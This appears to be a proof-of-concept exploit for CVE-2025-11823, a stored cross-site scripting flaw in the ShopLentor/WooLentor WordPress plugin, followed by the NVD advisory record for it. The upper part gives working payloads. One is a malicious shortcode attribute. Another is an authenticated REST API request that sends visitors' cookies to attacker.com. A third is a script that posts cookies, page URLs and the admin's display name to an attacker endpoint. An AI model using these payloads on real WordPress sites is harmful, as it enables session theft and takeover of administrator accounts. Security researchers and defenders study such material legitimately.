CVE-2025-11823

<!-- CVE-2025-11823 PoC: Stored XSS via wishsuite_button shortcode --> <!-- Author: Security Researcher --> <!-- Target: ShopLentor/WooLentor WordPress Plugin <= 3.2.4 --> <!-- Method 1: Via WordPress Block Editor --> <!-- Insert this shortcode in any post/page content --> [wishsuite_button button_exist_text='"><script>alert("XSS")</script><x y="'] <!-- Method 2: Via WordPress REST API (authenticated) --> POST /wp-json/wp/v2/posts/{post_id} HTTP/1.1 Host: target.com Content-Type: application/json Authorization: Bearer {contributor_token} { "content": "[wishsuite_button button_exist_text='\"><script>fetch(\"https://attacker.com/log?cookie=\"+document.cookie)</script><x y=\"]\" } <!-- Method 3: JavaScript payload for cookie stealing --> <script> // Steal admin cookies when page is accessed fetch('https://attacker.com/steal', { method: 'POST', mode: 'no-cors', body: JSON.stringify({ cookies: document.cookie, location: window.location.href, user: document.querySelector('#wp-admin-bar-user-info .display-name')?.textContent }) }); </script>

{"cve": {"id": "CVE-2025-11823", "sourceIdentifier": "[email protected]", "published": "2025-10-25T05:15:36.817", "lastModified": "2025-11-26T14:42:57.883", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ShopLentor – WooCommerce Builder for Elementor & Gutenberg +21 Modules – All in One Solution plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'button_exist_text' parameter in the 'wishsuite_button' shortcode in all versions up to, and including, 3.2.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-80"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hasthemes:shoplentor:*:*:*:*:*:wordpress:*:*", "versionEndExcluding": "3.2.5", "matchCriteriaId": "DDCB2283-E0CB-469E-8F77-C16D838382FB"}]}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/woolentor-addons/tags/3.2.2/includes/modules/wishlist/includes/classes/Frontend/Shortcode.php#L107", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://plugins.trac.wordpress.org/browser/woolentor-addons/tags/3.2.2/includes/modules/wishlist/includes/templates/wishsuite-button-exist.php#L1", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2d45afd4-9a1f-402c-86e3-8e3d6d7178d3?source=cve", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}